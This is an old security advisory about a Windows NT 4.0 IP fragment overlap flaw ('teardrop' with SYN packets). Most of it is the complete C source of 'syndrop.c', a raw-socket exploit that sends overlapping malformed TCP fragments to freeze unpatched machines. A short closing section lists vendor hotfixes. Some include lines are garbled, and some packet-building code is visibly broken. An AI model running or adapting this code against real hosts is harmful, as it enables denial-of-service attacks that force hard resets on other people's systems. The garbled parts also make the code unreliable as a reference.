COMMAND
IP fragment overlap
SYSTEMS AFFECTED
WinNT 4.0
PROBLEM
Nothing new. Only another aproach. Here we go with another IP
fragment overlap - now with SYN involved. Patched boxes are
safe. Unpatched may expect lock up tight - not a BSOD, but a
complete system lockup that requires a hard reset to clear.
/* syndrop.c
* by PineKoan
* stomp on M$ SYN sequence bug and the teardrop frag fuckup at same time!
* tcp instead of udp
*
* based on: Newtear.c
* which was: Copyright (c) 1997 route|daemon9 <route@infonexus.com>
* Linux/NT/95 Overlap frag bug exploit
* which was: Based off of: flip.c by klepto
*
* Compiles on: Linux, *BSD*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include <rstdio.h>
#include <rstdlib.h>
#include <runistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0
*/
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define TCPH sizeof(struct tcphdr) /* TCP header */
#define PADDING 0x14 /* datagram frame padding for first packet */
/* JD Change pad size to 20 decimal. */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x11 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
* syndrop: gotta hit it at least 8 times. overflowing
* some static sized buffer. fools.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short, u_long, u_long);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
u_long s_start = 0, s_end = 0;
struct in_addr addr;
fprintf(stderr, "syndrop by PineKoan\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one,
sizeof(one))< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:S:E:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
case 'S': /* SYN sequence start */
s_start = atoi(optarg);
break;
case 'E': /* SYN sequence end */
s_end = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start,
s_end);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt, u_long seq1, u_long seq2)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_TCP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* TCP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* TCP destination port */
p_ptr += 2;
*((u_long *)p_ptr) = seq1; /* TCP sequence # */
p_ptr += 4;
*((u_long *)p_ptr) = 0; /* ack */
p_ptr += 4;
*((u_short *)p_ptr) = htons(8 + PADDING*2); /* TCP data offset */
/* Increases TCP total length to 48 bytes Which is too big! */
p_ptr += 2;
*((u_char *)p_ptr) = TH_SYN; /* flags: mark SYN */
p_ptr += 1;
*((u_short *)p_ptr) = seq2-seq1; /* window */
*((u_short *)p_ptr) = 0x44; /* checksum : this is magic value */
*((u_short *)p_ptr) = 0; /* urgent */
if (sendto(sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr
*)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
p_ptr = &packet[24]; /* hop in to the sequence again... */
*((u_long *)p_ptr) = seq2; /* TCP sequence # */
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)addr.s_addr,
host_ent->h_length)
;
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]",name);
fprintf(stderr,"[ -S sequence_start] [ -E sequence_end ]\n");
exit(0);
}
SOLUTION
The Teardrop2-fix has now been posted for NT 3,5 and 4.0 i386 and
Alpha platforms, postSP3 only. For links check the:
http://www.ntbugtraq.com/ntfixes.asp
page with the Language set to USA, version to NT40, processor as
required, SP version to SP3 then click the "New" radio button.
You may try standard MS location as well:
ftp://ftp.microsoft.com
/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/teardrop2-fix/
/bussys/winnt/winnt-public/fixes/usa/NT351/hotfixes-postSP5/
Windows 95 without Winsock installed is not vulnerable. All other
versions of Windows 95 should update to Winsock 2. Microsoft has
released an update called the "Winsock 2 update" for Windows 95.
According to Microsoft, this update contains fixes for all known
vulnerabilities in the Windows 95 TCP/IP stack. Get it at:
www.microsoft.com/windows95/info/ws2.htm
Windows 98 RC0 (release candidate 0) contains all known TCP/IP
updates, and is not vulnerable to this attack.